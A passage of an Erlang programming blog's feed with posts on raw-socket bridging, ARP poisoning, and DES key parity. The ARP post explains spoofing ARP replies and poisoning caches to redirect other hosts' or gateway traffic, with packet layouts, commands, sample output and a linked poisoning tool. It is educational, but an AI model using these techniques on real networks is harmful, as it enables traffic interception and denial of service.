touched. &lt;pre class="Code"&gt;handle_call(&lt;span class="Special"&gt;{&lt;/span&gt;&lt;span class="Constant"&gt;packet&lt;/span&gt;, &lt;span class="Identifier"&gt;DstMAC&lt;/span&gt;, &lt;span class="Identifier"&gt;Packet&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;, &lt;span class="Identifier"&gt;_From&lt;/span&gt;, &lt;span class="Type"&gt;#state&lt;/span&gt;&lt;span class="Special"&gt;{&lt;/span&gt;&lt;br /&gt;        &lt;span class="Constant"&gt;mac&lt;/span&gt; &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;MAC&lt;/span&gt;,&lt;br /&gt;        &lt;span class="Constant"&gt;s&lt;/span&gt; &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;Socket&lt;/span&gt;,&lt;br /&gt;        &lt;span class="Constant"&gt;i&lt;/span&gt; &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;Ifindex&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt; &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;State&lt;/span&gt;) &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;    &lt;span class="Identifier"&gt;Ether&lt;/span&gt; &lt;span class="Statement"&gt;=&lt;/span&gt; epcap_net:ether(&lt;span class="Type"&gt;#ether&lt;/span&gt;&lt;span class="Special"&gt;{&lt;/span&gt;&lt;br /&gt;            &lt;span class="Constant"&gt;dhost&lt;/span&gt; &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;DstMAC&lt;/span&gt;,&lt;br /&gt;            &lt;span class="Constant"&gt;shost&lt;/span&gt; &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;MAC&lt;/span&gt;,&lt;br /&gt;            &lt;span class="Constant"&gt;type&lt;/span&gt; &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="PreProc"&gt;?ETH_P_IP&lt;/span&gt;&lt;br /&gt;        &lt;span class="Special"&gt;}&lt;/span&gt;),&lt;br /&gt;&lt;br /&gt;    packet:send(&lt;span class="Identifier"&gt;Socket&lt;/span&gt;, &lt;span class="Identifier"&gt;Ifindex&lt;/span&gt;, &lt;span class="Statement"&gt;list_to_binary&lt;/span&gt;(&lt;span class="Special"&gt;[&lt;/span&gt;&lt;span class="Identifier"&gt;Ether&lt;/span&gt;, &lt;span class="Identifier"&gt;Packet&lt;/span&gt;&lt;span class="Special"&gt;]&lt;/span&gt;)),&lt;br /&gt;    &lt;span class="Special"&gt;{&lt;/span&gt;&lt;span class="Constant"&gt;reply&lt;/span&gt;, &lt;span class="Constant"&gt;ok&lt;/span&gt;, &lt;span class="Identifier"&gt;State&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;It'd be interesting to experiment with making herp into a traditional network bridge: quite likely very slow, but also redundant, distributed and fault tolerant.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8577871288924093307-6909409933145031899?l=blog.listincomprehension.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.listincomprehension.com/feeds/6909409933145031899/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.listincomprehension.com/2010/10/fun-with-raw-sockets-in-erlang-bridging.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/6909409933145031899'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/6909409933145031899'/><link rel='alternate' type='text/html' href='http://blog.listincomprehension.com/2010/10/fun-with-raw-sockets-in-erlang-bridging.html' title='Fun with Raw Sockets in Erlang: Bridging'/><author><name>Michael Santos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8577871288924093307.post-4702957862448454530</id><published>2010-10-25T15:16:00.004-04:00</published><updated>2010-10-25T15:25:00.309-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='fun with raw sockets'/><category scheme='http://www.blogger.com/atom/ns#' term='erlang'/><category scheme='http://www.blogger.com/atom/ns#' term='procket'/><category scheme='http://www.blogger.com/atom/ns#' term='epcap'/><title type='text'>Fun with Raw Sockets in Erlang: ARP Poisoning</title><content type='html'>On IP ethernet networks, hosts use a peer to peer method called &lt;a href="http://en.wikipedia.org/wiki/Address_Resolution_Protocol"&gt;ARP (address resolution protocol)&lt;/a&gt; to discover the hardware address of the peer with which they intend to communicate.&lt;br /&gt;&lt;br /&gt;IPv4 ethernet ARP packets are specified as:&lt;br /&gt;&lt;ul class="Message"&gt;&lt;li class="Message"&gt;Hardware Type:16&lt;/li&gt;&lt;li class="Message"&gt;Protocol Type:16&lt;/li&gt;&lt;li class="Message"&gt;Hardware Length:8&lt;/li&gt;&lt;li class="Message"&gt;Protocol Length:8&lt;/li&gt;&lt;li class="Message"&gt;Operation:16&lt;/li&gt;&lt;li class="Message"&gt;Sending Hardware Address:48&lt;/li&gt;&lt;li class="Message"&gt;Sending IP Address:32&lt;/li&gt;&lt;li class="Message"&gt;Target Hardware Address:48&lt;/li&gt;&lt;li class="Message"&gt;Target IP Address:32&lt;/li&gt;&lt;/ul&gt;&lt;p/&gt;The numbers after the colon represent the size in bits of the field.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;The &lt;b&gt;Hardware Type&lt;/b&gt; of the network is ethernet, so the value is set to ARPHRD_ETHER (1)&lt;br /&gt;&lt;li&gt;The &lt;b&gt;Protocol Type&lt;/b&gt; of the network is IPv4, so the value is set to ETH_P_IP (0x0800)&lt;br /&gt;&lt;li&gt;The &lt;b&gt;Hardware Length&lt;/b&gt; of an ethernet MAC address is 6 bytes&lt;br /&gt;&lt;li&gt;The &lt;b&gt;Protocol Length&lt;/b&gt; of an IPv4 address is 4 bytes&lt;br /&gt;&lt;li&gt;&lt;b&gt;Operation&lt;/b&gt; is usually an ARP request (ARPOP_REQUEST (1)) or reply (ARPOP_REPLY (2))&lt;br /&gt;&lt;li&gt;The &lt;b&gt;Sending Hardware Address&lt;/b&gt; is the MAC address of the host sending the ARP packet&lt;br /&gt;&lt;li&gt;The &lt;b&gt;Sending IP Address&lt;/b&gt; is the IPv4 address of the host sending the ARP packet&lt;br /&gt;&lt;li&gt;The &lt;b&gt;Target Hardware Address&lt;/b&gt; is the MAC address of the host receiving the ARP packet&lt;br /&gt;&lt;br /&gt;The target address may be the ethernet broadcast address (FF:FF:FF:FF:FF:FF or 00:00:00:00:00:00) which results in all hosts receiving the ARP packet.&lt;br /&gt;&lt;br /&gt;&lt;li&gt;The &lt;b&gt;Target IP Address&lt;/b&gt; is the IPv4 address of the host sending the ARP packet&lt;br /&gt;&lt;/ul&gt;The corresponding Erlang representation of an IPv4 ethernet ARP packet is: &lt;pre class="Code"&gt;&lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="Identifier"&gt;Hrd&lt;/span&gt;:&lt;span class="Constant"&gt;16&lt;/span&gt;, &lt;span class="Identifier"&gt;Pro&lt;/span&gt;:&lt;span class="Constant"&gt;16&lt;/span&gt;,&lt;br /&gt;&lt;span class="Identifier"&gt;Hln&lt;/span&gt;:&lt;span class="Constant"&gt;8&lt;/span&gt;, &lt;span class="Identifier"&gt;Pln&lt;/span&gt;:&lt;span class="Constant"&gt;8&lt;/span&gt;, &lt;span class="Identifier"&gt;Op&lt;/span&gt;:&lt;span class="Constant"&gt;16&lt;/span&gt;,&lt;br /&gt;&lt;span class="Identifier"&gt;Sha&lt;/span&gt;:&lt;span class="Constant"&gt;48&lt;/span&gt;, &lt;span class="Identifier"&gt;Sip&lt;/span&gt;:&lt;span class="Constant"&gt;32&lt;/span&gt;,&lt;br /&gt;&lt;span class="Identifier"&gt;Tha&lt;/span&gt;:&lt;span class="Constant"&gt;48&lt;/span&gt;, &lt;span class="Identifier"&gt;Tip&lt;/span&gt;:&lt;span class="Constant"&gt;48&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;h2&gt;Behaviour of the ARP Cache&lt;/h2&gt;ARP caches are key/value stores holding a mapping of the protocol address to the hardware address. To prevent caching of stale data, entries eventually expire. The expiry timeout varies; for example, &lt;a href="http://technet.microsoft.com/en-us/library/cc786759(WS.10).aspx"&gt;on MS Windows&lt;/a&gt;, arp entries are kept for 2 minutes if another session to the remote host is not initiated. If a session is initiated within the 2 minute period, the ARP cache expiry time is extended to 10 minutes.  &lt;p/&gt;ARP is opportunistic and trust-based. If a host sees an ARP request or reply for which it is not the target, the host may cache the information.  However, caching all requests would be pointless, since arp lookup would be slow on a network with a large number of peers with which the host might never communicate.   &lt;h2&gt;Gratuitous ARPs&lt;/h2&gt;ARPs are gratuitous when no request was made for the information. Gratuitous ARPs are useful for:  &lt;ul&gt;&lt;li&gt;discovering IP conflict&lt;br /&gt;&lt;li&gt;IP take over: in a high availability cluster of servers, one of the hosts is active (holding the service IP address). In the event of a failure of the active node, one of the slave nodes can assume the service IP address, sending a gratuitous ARP to inform the other nodes and the gateway that the IP address is associated with a new MAC address&lt;br /&gt;&lt;/ul&gt;An Erlang binary representing a gratuitous ARP looks like: &lt;pre class="Code"&gt;&lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Constant"&gt;1&lt;/span&gt;:&lt;span class="Constant"&gt;16&lt;/span&gt;,                                 &lt;span class="Comment"&gt;% hardware type&lt;/span&gt;&lt;br /&gt;&lt;span class="Constant"&gt;16#0800&lt;/span&gt;:&lt;span class="Constant"&gt;16&lt;/span&gt;,                           &lt;span class="Comment"&gt;% protocol type&lt;/span&gt;&lt;br /&gt;&lt;span class="Constant"&gt;6&lt;/span&gt;:&lt;span class="Constant"&gt;8&lt;/span&gt;,                                  &lt;span class="Comment"&gt;% hardware length&lt;/span&gt;&lt;br /&gt;&lt;span class="Constant"&gt;4&lt;/span&gt;:&lt;span class="Constant"&gt;8&lt;/span&gt;,                                  &lt;span class="Comment"&gt;% protocol length&lt;/span&gt;&lt;br /&gt;&lt;span class="Constant"&gt;2&lt;/span&gt;:&lt;span class="Constant"&gt;16&lt;/span&gt;,                                 &lt;span class="Comment"&gt;% operation: ARPOP_REPLY&lt;/span&gt;&lt;br /&gt;&lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;1&lt;/span&gt;,&lt;span class="Constant"&gt;2&lt;/span&gt;,&lt;span class="Constant"&gt;3&lt;/span&gt;,&lt;span class="Constant"&gt;4&lt;/span&gt;,&lt;span class="Constant"&gt;5&lt;/span&gt;,                          &lt;span class="Comment"&gt;% sending MAC address&lt;/span&gt;&lt;br /&gt;&lt;span class="Constant"&gt;192&lt;/span&gt;,&lt;span class="Constant"&gt;168&lt;/span&gt;,&lt;span class="Constant"&gt;1&lt;/span&gt;,&lt;span class="Constant"&gt;100&lt;/span&gt;,                        &lt;span class="Comment"&gt;% sending IPv4 address&lt;/span&gt;&lt;br /&gt;&lt;span class="Constant"&gt;16#FF&lt;/span&gt;,&lt;span class="Constant"&gt;16#FF&lt;/span&gt;,&lt;span class="Constant"&gt;16#FF&lt;/span&gt;,&lt;span class="Constant"&gt;16#FF&lt;/span&gt;,&lt;span class="Constant"&gt;16#FF&lt;/span&gt;,&lt;span class="Constant"&gt;16#FF&lt;/span&gt;,  &lt;span class="Comment"&gt;% target MAC address: ethernet broadcast&lt;/span&gt;&lt;br /&gt;&lt;span class="Constant"&gt;192&lt;/span&gt;,&lt;span class="Constant"&gt;168&lt;/span&gt;,&lt;span class="Constant"&gt;1&lt;/span&gt;,&lt;span class="Constant"&gt;100&lt;/span&gt;                         &lt;span class="Comment"&gt;% target IPv4 address: set to sending address&lt;/span&gt;&lt;br /&gt;&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;Behaving badly by gratuitously arp'ing for all the IP addresses on the network will DoS the other hosts, eventually forcing them to report a network error condition and go offline.  &lt;h2&gt;Sending an ARP Reply&lt;/h2&gt;To send an ARP packet from Erlang, we'll use the &lt;a href="http://github.com/msantos/procket"&gt;procket&lt;/a&gt; module on GitHub.  The functions in procket used for these examples are unfortunately Linux-only.  For this example, the binaries are manually specified. The &lt;a href="http://github.com/msantos/epcap"&gt;epcap_net&lt;/a&gt; module on GitHub  has convenience functions for creating and decomposing ARP packets into a record structure. &lt;script src="http://gist.github.com/645491.js?file=carp.erl"&gt;&lt;/script&gt; If the network was set up like: &lt;ul&gt;&lt;li&gt;arping Erlang node: 10.11.11.9&lt;br /&gt;&lt;li&gt;source host: 10.11.11.10&lt;br /&gt;&lt;li&gt;target host (doesn't exist): 10.11.11.11&lt;br /&gt;&lt;/ul&gt;Login to another host on your network (the source node) and run tcpdump: &lt;pre&gt;tcpdump -n -e arp&lt;br /&gt;&lt;/pre&gt;In another window, run the code: &lt;pre&gt;$ erl -pa /path/to/procket/ebin&lt;br /&gt;Erlang R14B01 (erts-5.8.2) [source] [smp:2:2] [rq:2] [async-threads:0] [hipe] [kernel-poll:false]&lt;br /&gt;&lt;br /&gt;Eshell V5.8.2  (abort with ^G)&lt;br /&gt;1&gt; carp:send({10,11,11,11}). % Use an address on your network&lt;br /&gt;&lt;/pre&gt;If the MAC address of the Erlang node is 00:aa:bb:cc:dd:ee, then on the other host you should see something like: &lt;pre&gt;00:59:35.051302 00:aa:bb:cc:dd:ee &gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: arp reply 10.11.11.11 is-at 00:aa:bb:cc:dd:ee&lt;br /&gt;&lt;/pre&gt;Check the ARP cache on the source node: &lt;pre&gt;arp -an&lt;br /&gt;&lt;/pre&gt;The ARP entry may not exist.  Since ARP caching is opportunistic, it is up to a host to decide whether it will optimize future connections by caching an unsolicited entry.  To force an ARP cache entry on the remote host, ping the fake IP address: &lt;pre&gt;ping 10.11.11.11&lt;br /&gt;&lt;/pre&gt;Then, in the Erlang shell, run carp:send/1.  Run "arp -an" again on the remote host. The ARP cache entry for 10.11.11.11 should now be there. &lt;pre&gt;? (10.11.11.11) at 00:aa:bb:cc:dd:ee [ether] on eth0&lt;br /&gt;&lt;/pre&gt;If you run tcpdump on the host doing the ARP'ing, you should see ICMP traffic for 10.11.11.11: &lt;pre&gt;01:13:36.075040 IP 10.11.11.10 &gt; 10.11.11.11: ICMP echo request, id 35604, seq 17, length 64&lt;br /&gt;01:13:36.088794 IP 10.11.11.10 &gt; 10.11.11.11: ICMP echo request, id 35604, seq 18, length 64&lt;br /&gt;01:13:36.106572 IP 10.11.11.10 &gt; 10.11.11.11: ICMP echo request, id 35604, seq 19, length 64&lt;br /&gt;&lt;/pre&gt;Since this IP address is not bound to any interface on your host, there will, of course, be no reply.  &lt;h2&gt;Poisoning the ARPs&lt;/h2&gt;On old networks using hubs or open networks using 802.11 access points, data is broadcasted to all the hosts. Running a packet sniffer displays the network activity for everyone, not just yourself.  &lt;p/&gt;Switched networks learn the MAC address of the host connected to the port of the switch and send data only to the recipient.  ARP poisoning or spoofing fools other hosts on the network to send data to the host under your control. If your host spoofs the gateway, you'll also see the internet traffic. Obviously, if your host is not somehow routing, the packets will go nowhere, performing a denial of service on your network. But you will be able to see the data other hosts are sending.  &lt;p/&gt;Using the code we ran earlier, we can test ARP spoofing. You'll need 3 hosts: one doing the poisoning and two victims, a source and a target. The process is the same as above. For example, if 10.11.11.11 were a real host, we would have convinced 10.11.11.10 to send its data through our host.  &lt;p/&gt;I've put my experiment in progress with ARP poisoning, &lt;a href="http://github.com/msantos/farp"&gt;farp&lt;/a&gt;, on GitHub. farp works by replying to ARP requests with our host's MAC address. It can also optionally send out gratuitous arps as the gateway to speed up the process.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8577871288924093307-4702957862448454530?l=blog.listincomprehension.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.listincomprehension.com/feeds/4702957862448454530/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.listincomprehension.com/2010/10/fun-with-raw-sockets-in-erlang-arp.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/4702957862448454530'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/4702957862448454530'/><link rel='alternate' type='text/html' href='http://blog.listincomprehension.com/2010/10/fun-with-raw-sockets-in-erlang-arp.html' title='Fun with Raw Sockets in Erlang: ARP Poisoning'/><author><name>Michael Santos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8577871288924093307.post-5690348023713623379</id><published>2010-10-17T13:54:00.006-04:00</published><updated>2010-11-10T18:53:49.269-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><category scheme='http://www.blogger.com/atom/ns#' term='erlang'/><title type='text'>Setting Parity on DES Keys</title><content type='html'>DES keys are 8 bytes, of which only 7 bits of each byte are used for the key. The least significant bit is used for parity and is thrown away for the actual encryption/decryption (resulting in a 56-bit key for single DES). Mostly, it seems, the parity is ignored by DES implementations, but occasionally a system using DES will check the parity and reject the key if the parity is not odd (or so Google tells me, I've never actually seen this happen). The parity  bit was intended to prevent corruption or &lt;a href="http://cryptome.org/jya/radfa.htm"&gt;tampering&lt;/a&gt; with the key.&lt;br /&gt;&lt;br /&gt;The DES parity calculation works as follows:&lt;br /&gt;&lt;pre&gt;00001001 = 9&lt;br /&gt;&lt;/pre&gt;&lt;ul&gt;&lt;li&gt;for each byte, count the number of bits that are set. For the example byte above, 2 bits are set&lt;br /&gt;&lt;li&gt;if the number of bits set is odd, do nothing&lt;br /&gt;&lt;li&gt;if the number of bits is even, set or unset the least significant bit to make the count odd&lt;br /&gt;&lt;/ul&gt;In the example, the new value for the byte would be  &lt;pre&gt;00001000 = 8&lt;br /&gt;&lt;/pre&gt;Reading through Erlang's &lt;a href="http://www.erlang.org/doc/man/crypto.html#des_cbc_encrypt-3"&gt;crypto support for DES and DES3&lt;/a&gt;, it's up to the caller to use a valid key. For example, the NIF making up &lt;a href="http://github.com/erlang/otp/blob/OTP_R14B/lib/crypto/c_src/crypto.c#L563"&gt;crypto:des_cbc_crypt/3&lt;/a&gt; is defined as: &lt;pre&gt;DES_set_key((const_DES_cblock*)key.data, &amp;schedule);&lt;br /&gt;DES_ncbc_encrypt(text.data, enif_make_new_binary(env, text.size, &amp;ret),&lt;br /&gt;    text.size, &amp;schedule, &amp;ivec_clone, (argv[3] == atom_true));&lt;br /&gt;&lt;/pre&gt;&lt;a href="http://www.openssl.org/docs/crypto/des.html"&gt;DES_set_key()&lt;/a&gt; is an OpenSSL compatibility function that, in this case, is identical to DES_set_key_unchecked(). The corresponding checking function, DES_set_key_checked(), returns some information about the key: -1 (if the parity is even) and -2 (if the key is weak).      &lt;p/&gt;So I was curious how to go about setting the parity in a functional language. It turns out to be quite easy: &lt;pre class="Code"&gt;&lt;span class="Statement"&gt;-module&lt;/span&gt;(des_key).&lt;br /&gt;&lt;span class="Statement"&gt;-export&lt;/span&gt;(&lt;span class="Special"&gt;[&lt;/span&gt;set_parity&lt;span class="Statement"&gt;/&lt;/span&gt;&lt;span class="Constant"&gt;1&lt;/span&gt;, check_parity&lt;span class="Statement"&gt;/&lt;/span&gt;&lt;span class="Constant"&gt;1&lt;/span&gt;, odd_parity&lt;span class="Statement"&gt;/&lt;/span&gt;&lt;span class="Constant"&gt;1&lt;/span&gt;&lt;span class="Special"&gt;]&lt;/span&gt;).&lt;br /&gt;&lt;br /&gt;set_parity(&lt;span class="Identifier"&gt;Key&lt;/span&gt;) &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;    &lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;(check_parity(&lt;span class="Identifier"&gt;N&lt;/span&gt;))&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="Statement"&gt;||&lt;/span&gt; &lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="Identifier"&gt;N&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="Statement"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="Identifier"&gt;Key&lt;/span&gt; &lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;check_parity(&lt;span class="Identifier"&gt;N&lt;/span&gt;) &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;    &lt;span class="Statement"&gt;case&lt;/span&gt; odd_parity(&lt;span class="Identifier"&gt;N&lt;/span&gt;) &lt;span class="Statement"&gt;of&lt;/span&gt;&lt;br /&gt;        &lt;span class="Constant"&gt;true&lt;/span&gt; &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="Identifier"&gt;N&lt;/span&gt;;&lt;br /&gt;        &lt;span class="Constant"&gt;false&lt;/span&gt; &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="Identifier"&gt;N&lt;/span&gt; &lt;span class="Statement"&gt;bxor&lt;/span&gt; &lt;span class="Constant"&gt;1&lt;/span&gt;&lt;br /&gt;    &lt;span class="Statement"&gt;end&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;odd_parity(&lt;span class="Identifier"&gt;N&lt;/span&gt;) &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;    &lt;span class="Identifier"&gt;Set&lt;/span&gt; &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Statement"&gt;length&lt;/span&gt;(&lt;span class="Special"&gt;[&lt;/span&gt; &lt;span class="Identifier"&gt;1&lt;/span&gt; &lt;span class="Statement"&gt;||&lt;/span&gt; &lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="Identifier"&gt;1&lt;/span&gt;:&lt;span class="Constant"&gt;1&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="Statement"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="Identifier"&gt;N&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="Special"&gt;]&lt;/span&gt;),&lt;br /&gt;    &lt;span class="Identifier"&gt;Set&lt;/span&gt; &lt;span class="Statement"&gt;rem&lt;/span&gt; &lt;span class="Constant"&gt;2&lt;/span&gt; &lt;span class="Statement"&gt;==&lt;/span&gt; &lt;span class="Constant"&gt;1&lt;/span&gt;.&lt;br /&gt;&lt;/pre&gt;&lt;p/&gt;set_parity/1 uses a binary comprehension to read 1 byte at a time from the 8 byte key.    &lt;p/&gt;check_parity/1 checks whether an integer has an odd or even parity and returns the integer XOR'ed with 1 if the parity is even.  &lt;p/&gt;odd_parity/1 counts the bit set by using a bit comprehension to return the list of bits that are set. The modulus of the length of this list returns oddness/evenness.    &lt;p/&gt;To test if this is correct, we can check if a few cases (all even bits or all odd bits in a key) work and then test that a key with corrected parity produces the same cipher text as the uncorrected key: &lt;pre class="Code"&gt;test() &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;    &lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="Constant"&gt;1&lt;/span&gt;,&lt;span class="Constant"&gt;1&lt;/span&gt;,&lt;span class="Constant"&gt;1&lt;/span&gt;,&lt;span class="Constant"&gt;1&lt;/span&gt;,&lt;span class="Constant"&gt;1&lt;/span&gt;,&lt;span class="Constant"&gt;1&lt;/span&gt;,&lt;span class="Constant"&gt;1&lt;/span&gt;,&lt;span class="Constant"&gt;1&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="Statement"&gt;=&lt;/span&gt; set_parity(&lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="Constant"&gt;0&lt;/span&gt;:(&lt;span class="Constant"&gt;8&lt;/span&gt;&lt;span class="Statement"&gt;*&lt;/span&gt;&lt;span class="Constant"&gt;8&lt;/span&gt;)&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;),&lt;br /&gt;    &lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="Constant"&gt;1&lt;/span&gt;,&lt;span class="Constant"&gt;1&lt;/span&gt;,&lt;span class="Constant"&gt;1&lt;/span&gt;,&lt;span class="Constant"&gt;1&lt;/span&gt;,&lt;span class="Constant"&gt;1&lt;/span&gt;,&lt;span class="Constant"&gt;1&lt;/span&gt;,&lt;span class="Constant"&gt;1&lt;/span&gt;,&lt;span class="Constant"&gt;1&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="Statement"&gt;=&lt;/span&gt; set_parity(&lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="Constant"&gt;1&lt;/span&gt;,&lt;span class="Constant"&gt;1&lt;/span&gt;,&lt;span class="Constant"&gt;1&lt;/span&gt;,&lt;span class="Constant"&gt;1&lt;/span&gt;,&lt;span class="Constant"&gt;1&lt;/span&gt;,&lt;span class="Constant"&gt;1&lt;/span&gt;,&lt;span class="Constant"&gt;1&lt;/span&gt;,&lt;span class="Constant"&gt;1&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;),&lt;br /&gt;    &lt;span class="Identifier"&gt;K1&lt;/span&gt; &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="Constant"&gt;&amp;quot;Pa5Sw0rd&amp;quot;&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;,&lt;br /&gt;    &lt;span class="Identifier"&gt;K2&lt;/span&gt; &lt;span class="Statement"&gt;=&lt;/span&gt; set_parity(&lt;span class="Identifier"&gt;K1&lt;/span&gt;),&lt;br /&gt;    &lt;span class="Identifier"&gt;Enc&lt;/span&gt; &lt;span class="Statement"&gt;=&lt;/span&gt; crypto:des_cbc_encrypt(&lt;span class="Identifier"&gt;K1&lt;/span&gt;, &lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="Constant"&gt;0&lt;/span&gt;:&lt;span class="Constant"&gt;64&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;, &lt;span class="Constant"&gt;&amp;quot;12345678&amp;quot;&lt;/span&gt;),&lt;br /&gt;    &lt;span class="Identifier"&gt;Enc&lt;/span&gt; &lt;span class="Statement"&gt;=&lt;/span&gt; crypto:des_cbc_encrypt(&lt;span class="Identifier"&gt;K2&lt;/span&gt;, &lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="Constant"&gt;0&lt;/span&gt;:&lt;span class="Constant"&gt;64&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;, &lt;span class="Constant"&gt;&amp;quot;12345678&amp;quot;&lt;/span&gt;),&lt;br /&gt;    &lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="Constant"&gt;&amp;quot;12345678&amp;quot;&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="Statement"&gt;=&lt;/span&gt; crypto:des_cbc_decrypt(&lt;span class="Identifier"&gt;K2&lt;/span&gt;, &lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="Constant"&gt;0&lt;/span&gt;:&lt;span class="Constant"&gt;64&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;, &lt;span class="Identifier"&gt;Enc&lt;/span&gt;),&lt;br /&gt;    ok.&lt;br /&gt;&lt;/pre&gt;,&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8577871288924093307-5690348023713623379?l=blog.listincomprehension.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.listincomprehension.com/feeds/5690348023713623379/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.listincomprehension.com/2010/10/setting-parity-on-des-keys.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/5690348023713623379'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/5690348023713623379'/><link rel='alternate' type='text/html' href='http://blog.listincomprehension.com/2010/10/setting-parity-on-des-keys.html' title='Setting Parity on DES Keys'/><author><name>Michael Santos</name><email>noreply@blogger.com</email><gd:image 